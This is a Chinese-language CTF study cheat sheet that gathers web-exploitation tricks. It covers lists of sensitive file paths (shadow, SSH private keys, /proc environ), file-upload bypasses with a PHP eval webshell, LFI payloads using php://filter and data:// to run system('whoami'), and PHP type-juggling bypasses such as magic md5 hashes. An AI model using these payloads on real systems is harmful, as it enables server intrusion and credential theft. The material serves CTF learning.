一些CTF 做题的tricks,东拼西凑放到这里,方便查找
任意文件读取路径汇总
任意文件读取漏洞和文件包含漏洞的表现相似,但是任意文件读取不能getshell,可以通过尝试读取相对路径的脚本文件,比如/read.php?file=index.php,如果可以读取到文件源码,说明是文件读取,如果不能读取到文件源码说明是文件包含。
下面收集的是一些常用的利用路径,应该够用了,以后也会及时更新,放在这便于以后的查阅和参考:
需要高权限读取的:
用户信息文件
1 2 3 4 | /etc/passwd # 用来记录每个拥有系统访问权的注册用户 /etc/shadow # 密码信息,获取到后可用 John the Ripper 爆破 /root/.bash_history # 输入命令的历史记录,还有root外的其他用户 /root/.ssh/id_rsa # 拿到私钥后可直接ssh登陆 |
### 系统信息文件
1 2 3 4 5 6 7 | /etc/hosts # 主机信息 /proc/version # 内核版本 /proc/mounts # 挂载的文件系统列表 /root/.bashrc # 环境变量信息 /proc/net/route # 路由表信息 /proc/net/arp # arp表,可以获得内网其他机器的地址 /root/.viminfo # vim 信息 |
程序运行信息
1 2 3 4 5 6 7 8 9 10 11 12 | /proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用 /proc/net/tcp # 活动连接的信息 /proc/net/udp /proc/net/fib_trie # 路由缓存 /proc/[PID]/cmdline # 进程状态[pid],可能包含有用的路径信息,可以为0000-9999,可以暴力枚举 /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell /proc/[PID]/cwd # 当前进程的工作目录 /proc/[PID]/fd/[num] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log /proc/self/fd/[0-99] # 可能获取到当前运行进程的文件 |
获取当前进程信息
fuzz字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | /proc/self/cmdline /proc/self/stat /proc/self/status /proc/self/environ /proc/verison /proc/cmdline /proc/self/cwd /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/3 /proc/self/fd/4 /proc/self/fd/5 /proc/self/fd/6 /proc/self/fd/7 /proc/self/fd/8 /proc/self/fd/9 /proc/self/fd/10 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 /proc/self/fd/14 /proc/self/fd/15 /proc/self/fd/16 /proc/self/fd/17 /proc/self/fd/18 /proc/self/fd/19 /proc/self/fd/20 /proc/self/fd/21 /proc/self/fd/22 /proc/self/fd/23 /proc/self/fd/24 /proc/self/fd/25 /proc/self/fd/26 /proc/self/fd/27 /proc/self/fd/28 /proc/self/fd/29 /proc/self/fd/30 /proc/self/fd/31 /proc/self/fd/32 /proc/self/fd/33 /proc/self/fd/34 /proc/self/fd/35 /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/net/fib_trie /proc/version |
系统信息相关:
1 2 3 4 5 6 7 | /etc/issue /proc/version /etc/redhat-release /etc/debian_version /etc/slackware_version /etc/*version /proc/cpuinfo |
一些默认路径
SSH
1 2 3 4 5 | /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure |
Nginx
1 2 3 4 5 6 7 8 | /etc/nginx/nginx.conf /var/www/html /usr/local/services/nginx-1.6.2/logs/access.log #根据情况替换[version] /usr/local/services/nginx-[version]/logs/error.log /usr/local/services/nginx-[version]/nginx.conf /usr/local/services/nginx-[version]/conf/nginx.conf /usr/local/services/nginx-[version]/conf/proxy.conf /usr/local/services/nginx-[version]/conf/extra/haolaiyao.conf |
Apache
1 2 | /home/httpd/ /home/httpd/www/ |
tomcat
1 2 | /usr/local/services/apache-tomcat-8.0.23/logs #根据情况替换[version] /usr/local/services/apache-tomcat-[version]/logs/catalina.out |
jetty
1 2 3 | /usr/local/services/jetty-8.1.16/ #根据情况替换[version] /usr/local/services/jetty-8.1.16/logs/stderrout.log /usr/local/services/jetty-8.1.16/etc/jetty.xml |
resin
1 2 3 | /usr/local/services/resin-4.0.44/ #根据情况替换[version] /usr/local/services/resin-4.0.44/conf/resin.xml /usr/local/services/resin-4.0.44/conf/resin.properties |
svn
1 | /home/svnroot/ |
文件上传绕过
平常做ctf题的时候有很多上传的题目,有时候碰到了文件上传会不知道往哪里尝试绕过,所以在这里汇总平时遇到的一些绕过思路,以便以后卡克的时候速查。
Content-Type字段校验
Content-Type用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件,绕过时只需更改Content-Type参数值即可。
常用Content-Type:
1 2 3 4 5 | #图片文件 image/png image/jpeg image/gif #文本文件 text/plain text/xml text/html |
更多 -> HTTP Content-Type 对照表
文件头绕过
在木马内容基础上再加一些文件信息,比如文件的文件头。
其中
1 | GIF89a <?php eval($_POST[1]); ?> |
文件名绕过
后缀名绕过
后缀大小写绕过(linux下可以尝试)
不常用后缀绕多
通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过一些验证。
1 2 3 4 | .jsp .jspa .jspx .jspw .jspv .jspf .jtml # jsp文件 .asp .aspx .asa .asax .ascx .ashx .asmx .cer # asp文件 .php .php(1-*) .phtml .phpt .pht # php文件 .exe .exee # exe文件 |
利用windows系统文件命令规则绕过
windows系统会自动去掉不符合规则符号后面的内容
以下文件名都会被解析为
1 2 3 4 | test.php. test.php(空格) test.php:1.jpg test.php::$DATA |
.htaccess文件攻击
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
1 2 3 | <FilesMatch "cimer"> SetHandler application/x-httpd-php </FilesMatch> |
通过.htaccess文件,调用php的解析器解析一个文件名只要包含“cimer”这个字符串的任意文件。
web应用程序解析绕过
Apache解析漏洞
一个文件名为
test.x1.x2.x3 的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
IIS解析漏洞
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析.
1 | /dirasp/1.jpg |
1 | 因为文件名中有asp字样,所以该文件夹下的1.jpg文件打开时,会按照asp文件去解析执行 |
另一个是只要文件名中含有.asp、.asa、.cer会优先按 asp 来解析
1 | 1.asp.jpg |
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串
/任意文件名.php 就会按照php的方式去解析;
1 | (任意文件名)/(任意文件名).php |
Nginx解析漏洞
目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
1 | (任意文件名)/(任意文件名).php |
还有一种是对低版本的Nginx(<=0.8.37)可以在任意文件名后面添加%00.php进行解析攻击。
1 | (任意文件名)%00.php |
0x00截断
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符,这时就可能会产生
0x00 截断漏洞。
绕过方式也很简单,用像test.php%00.jpg的方式进行截断,或打开bp的hex窗口,替换文件名部分对应的字符为00即可
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J538U9hS-1593606332387)(https://s2.ax1x.com/2019/04/13/ALRMx1.png)]
php GD库渲染绕过
有时候上传图片到服务器后,服务器会将图片压缩成缩略图,php的GD库就是压缩图片的一个库,常用于生成缩略图,经过GD处理后的图片信息,如果包含利用代码,会被混淆的一塌糊涂,无法运行。
经php GD库渲染后的图片一般有如下特征字符串:
1 | CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80 |
但是国外大神已经写出了绕过GD库渲染的WEBSHELL图片生成器,于是这个也可以轻松绕过了
可以去这位大神的网站下载工具:jpg_payload
该工具的具体使用方法:
1 2 3 4 5 | #首先需要安装php的gd库 apt-get install php-gd #jpg_name.jpg是待GD处理的图片(需要先经过一次GD处理) php jpg_payload.php <jpg_name.jpg> |
生成好的图片,在经过如下代码处理后,依然能保留其中的shell:
1 2 3 | <?php imagecreatefromjpeg('xxxx.jpg'); ?> |
php文件包含漏洞
原理
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
php文件包含漏洞通常由以下几个函数引发:
1 2 3 4 5 | include() #包含并运行指定文件,失败产生警告,脚本会继续运行。 include_once() #若文件已经被包含过,则不会再次包含。 require() #包含并运行指定文件,失败将导致脚本中止。 require_once() #若文件已经被包含过,则不会再次包含。 |
当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。
例如有如下代码:
1 2 3 4 | <?php $file=$_GET['file']; include($file); ?> |
在当前目录有一个flag.txt
只需访问
下面我们访问该目录下的另一个文件
1 2 3 4 | <?php echo "flag is here"; $flag="flag{2333}"; ?> |
访问页面可看到如下内容,可以看到,php代码已经被解析了
分类
LFI(Local File Inclusion)
本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。
php中开启远程文件包含利用需要在
1 2 | allow_url_fopen = On #默认为On allow_url_include = On #php5.2之后就默认为Off |
利用
目录遍历
1 2 3 | <?php include("inc/" . $_GET['file']); ?> |
linux中这两个文件储存着所有文件的路径,需要root权限:
1 2 | ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db |
日志,配置文件
1 2 | ?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf |
更多参见–>传送门<–
php伪协议
关于文件包含漏洞,比较常用的还有php的
php:// 伪协议,详细的介绍请戳官方文档
这里比较常用的是:
1 2 | php://input php://filter |
php://input
利用条件:
1 | allow_url_include = On |
修改配置文件:
即可如图所示利用:
php://filter
可获取文件内容
1 2 | ?file=php://filter/read=convert.base64-encode/resource=flag.php ?file=php://filter/convert.base64-encode/resource=flag.php |
关于文件名:有时服务端可能会自动拼接后缀名,例如提交
page=upload 可能会被拼接为ipload.php ,所以在获取失败时不妨去掉后缀名试试。
通过指定末尾的文件,可以读取经base64编码后的文件源码
其它伪协议的利用
phar://
可获取压缩包中文件内容
事先得知道压缩文件目录结构
1 | ?file=phar://flag.zip/flag.txt |
zip://
用法同上,但使用zip协议,需要指定绝对路径,同时将
1 | ?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip%23flag.txt |
data:URI schema
命令执行
1 2 3 | ?file=data:text/plain,<?php phpinfo();?> ?file=data:text/plain,<?php system('whoami');?> ?file=data:text/plain,<?php echo `whoami`;?> |
执行效果如下:
还可编码绕过:
1 2 3 | ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B #phpinfo(); ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system('whoami'); ?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg== #echo `whoami`; |
php支持的协议种类
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
phar:// — PHP 归档
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// — 音频流
expect:// — 处理交互式的流
1 | 这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize() |
测试用例:
1 2 3 | <?php echo file_get_contents($_GET['test']); ?> |
1.file:// — 访问本地文件系统
1 2 3 | 直接传入路径即可,以file://开始可能会失败 如果不加以限制可能会泄露信息 访问:http://127.0.0.1/test.php?test=../phpStudy.ini |
结果:
1 2 3 4 5 6 7 8 9 10 11 12 | [phpStudy] path=E:\phpStudy\ wwwroot=E:\phpStudy\WWW yxms=0 phpver=phpa cdyc=1 dirlist=1 version=2014 URL=www.phpstudy.net nots=1 jsml=E:\phpStudy\WWW autojs=0 |
2.http:// — 访问 HTTP(s) 网址
1 | 访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php |
结果:
1 2 3 | <?php echo file_get_contents($_GET['test']); ?> |
3.ftp:// — 访问 FTP(s) URLs
1 | 这年头谁还用ftp啊 |
4.php:// — 访问各个输入/输出流(I/O streams)
1 | 这可是个重头戏 |
php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流
php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。
php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取
1 | 传入:http://127.0.0.1/test.php?test=php://filter/read=convert.base64-encode/resource=./test.php |
结果:
1 2 3 | PD9waHANCmVjaG8gZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ3Rlc3QnXSk7DQo/Pg== 这里用的是read=筛选列表,使用了convert.base64-encode这个过滤器,resource=要过滤的数据 注意:(read/write可用省略)任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链 |
5.zip://,bzip2://, zlib:// — 压缩流
1 2 3 4 | 双off也可以用 用于读取压缩文件,注意#需要进行url编码 #前为压缩文件路径,后为压缩文件内的文件名 zip://test.zip%23file.txt |
6.phar:// — PHP 归档
1 2 3 | 同上 注意压缩文件必须要后缀(可以是任意后缀) phar://test.zip/test.php |
结果:
1 2 3 | <?php echo file_get_contents($_GET['test']); ?> |
7.data:// — 数据(RFC 2397)
1 2 | 很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入 一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo= |
结果:
1 | I love PHP |
8.glob:// — 查找匹配的文件路径模式
1 2 | 用于查找文件,但是没法直接使用 需要DirectoryIterator() |
9-12.ssh2,rar,ogg,expect
PHP变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击
经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等
0x1 $$引起的变量覆盖问题
有如下代码
1 2 3 4 5 6 | <?php @error_reporting(1); $id=$_GET['id']; $flag=file_get_contents('flag'); echo $$id; ?> |
当我们输入
符号,PHP从右开始解析变量,所以‘‘‘id
id‘‘‘解析为‘‘‘flag‘‘‘再和左边的‘‘‘
0x2 extract()函数变量覆盖问题
首先介绍一下extract()函数的作用
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
以bugku中的一道题作为例子
extract变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?> |
可以看到源码第三行使用了
http://123.206.87.240:9009/1.php?shiyan=&flag=
即可拿到flag
解释一下这里我们并未对
0x3 parse_str()函数变量覆盖问题
parse_str() 函数把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量.
代码示例
1 2 3 4 5 6 | <?php parse_str("a=1"); echo $a."<br/>"; //$a=1 parse_str("b=1&c=2",$myArray); print_r($myArray); //Array ( [c] => 1 [b] => 2 ) ?> |
parse_str()类似的函数还有mb_parse_str(),用法基本一致。
0x4 import_request_variables变量覆盖
import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中.
示例代码
1 2 3 4 5 6 | <?php import_request_variables("g", "get_"); echo $get_id; ?> //提交:?id=111 //结构:111 |
此篇主要是做笔记,记录PHP中的变量覆盖问题,不论是CTF还是实际场景中都可能遇到,所以放在这里,方便以后查看
文中部分内容来自
https://www.cnblogs.com/xiaozi/p/7768580.html
需要安装扩展
PHP一些有"漏洞"的函数
声明:以下部分内容或者代码来自互联网,搬到这里是做一下笔记,部分内容来自https://blog.csdn.net/qq_31481187/article/details/60968595
strcmp函数绕过
strcmp ( string $str1 , string $str2 ) : int
str1第一个字符串 str2第二个字符串。
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0
示例
1 2 3 4 5 6 7 8 9 10 | <?php error_reporting(); $id=$_GET['id']; if(strcmp('ssss',$id)==0){ //YES } else{ //NO } ?> |
当输入id[]=时,
urldecode二次编码绕过
bugku例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php if(eregi("hackerDJ",$_GET[id])) { echo(" not allowed! "); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo " Access granted! "; echo " flag "; } ?> |
eregi — 不区分大小写的正则表达式匹配,本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。
md5()函数引发的问题
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
常见的payload有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | md5() md5(QNKCDZO) 0e830400451993494058024219903391 md5(s878926199a) 0e545993274517709034328855841020 md5(s155964671a) 0e342768416822451524974117254469 md5(s214587387a) 0e848240448830537924465865611904 md5(s214587387a) 0e848240448830537924465865611904 sha1() sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m') |
同时md5()和sha1()不能处理数组,若有以下判断则可用数组绕过
1 2 3 4 5 6 7 8 9 | if(@md5($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } if(@sha1($_GET['a']) == @md5($_GET['b'])) { echo "yes"; } |
ereg函数漏洞
ereg()只能处理字符串的,遇到数组做参数返回NULL
00截断
正则表达式匹配以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs,则匹配项将被存入 regs 数组中。$regs[1] 包含第一个左圆括号开始的子串,$regs[2] 包含第二个子串,以此类推。$regs[0] 包含整个匹配的字符串。
如果在 string 中找到 pattern 模式的匹配则返回 所匹配字符串的长度,如果没有找到匹配或出错则返回 FALSE。如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以这里可以使用%00截断正则匹配,如如果输入
变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。如
1 2 3 4 5 6 7 8 | <?php foreach ($_GET AS $key => $value) { print $key."\n"; } ?> |
由类型转换引发的问题
intval()函数
获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
Note:
**如果 base 是 0,通过检测 var 的格式来决定使用的进制: **
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
举一个西电的ctf题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php error_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = ''; for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_xid1an' && intval($password) < 232 && intval($password + 1) > 233) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__); |
- chr函数在转换时会自动取模256,所以我们只需要在原本ascii码基础上+256即可
- intval()在处理16进制时存在问题,经过测试在
intval('0x123',16) 转换正常,而intval('0x123') 时会出错返回0,通过上面的函数介绍,可知在指定base为0的时候,才会处理'0x123' 此类字符串作为16进制转换,否则按十进制转换;而在强制转换时,即intval($password + 1) 时,里面的password+1 时,已经做了转换,所以再用intval() 函数时就不会出错
switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:
1 2 3 4 5 6 7 8 9 10 | <?php $i ="2ssss"; switch ($i) { case 0: case 1: case 2: echo "YES"; break; } ?> |
则会输出YES,这里是由于switch()对参数进行了类型转换
in_array()
1 2 3 | $array=[0,1,2,'3']; var_dump(in_array('abc', $array)); //true var_dump(in_array('1bc', $array)); //true |
可以看到上面的情况返回的都是true,因为’abc’会转换为0,'1bc’转换为1。 在所有php认为是int的地方输入string,都会被强制转换
unset()
unset($var);用来销毁指定的变量,如果变量var 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php // http://127.0.0.1/index.php?_CONFIG=123 $_CONFIG['extraSecure'] = true; foreach(array('_GET','_POST') as $method) { foreach($$method as $key=>$value) { // $key == _CONFIG // $$key == $_CONFIG // 这个函数会把 $_CONFIG 变量销毁 unset($$key); } } if ($_CONFIG['extraSecure'] == false) { echo 'flag {****}'; } ?> |
is_numeric
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字
1 2 3 4 5 6 7 | <?php echo is_numeric(233333); # 1 echo is_numeric('233333'); # 1 echo is_numeric(0x233333); # 1 echo is_numeric('0x233333'); # 1 echo is_numeric('233333abc'); # 0 ?> |
preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
1 2 3 4 5 6 7 8 | <?php $ip = '1.1.1.1 abcd'; // 可以绕过 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) { die('error'); } else { echo('key...'); } ?> |
持续更新中…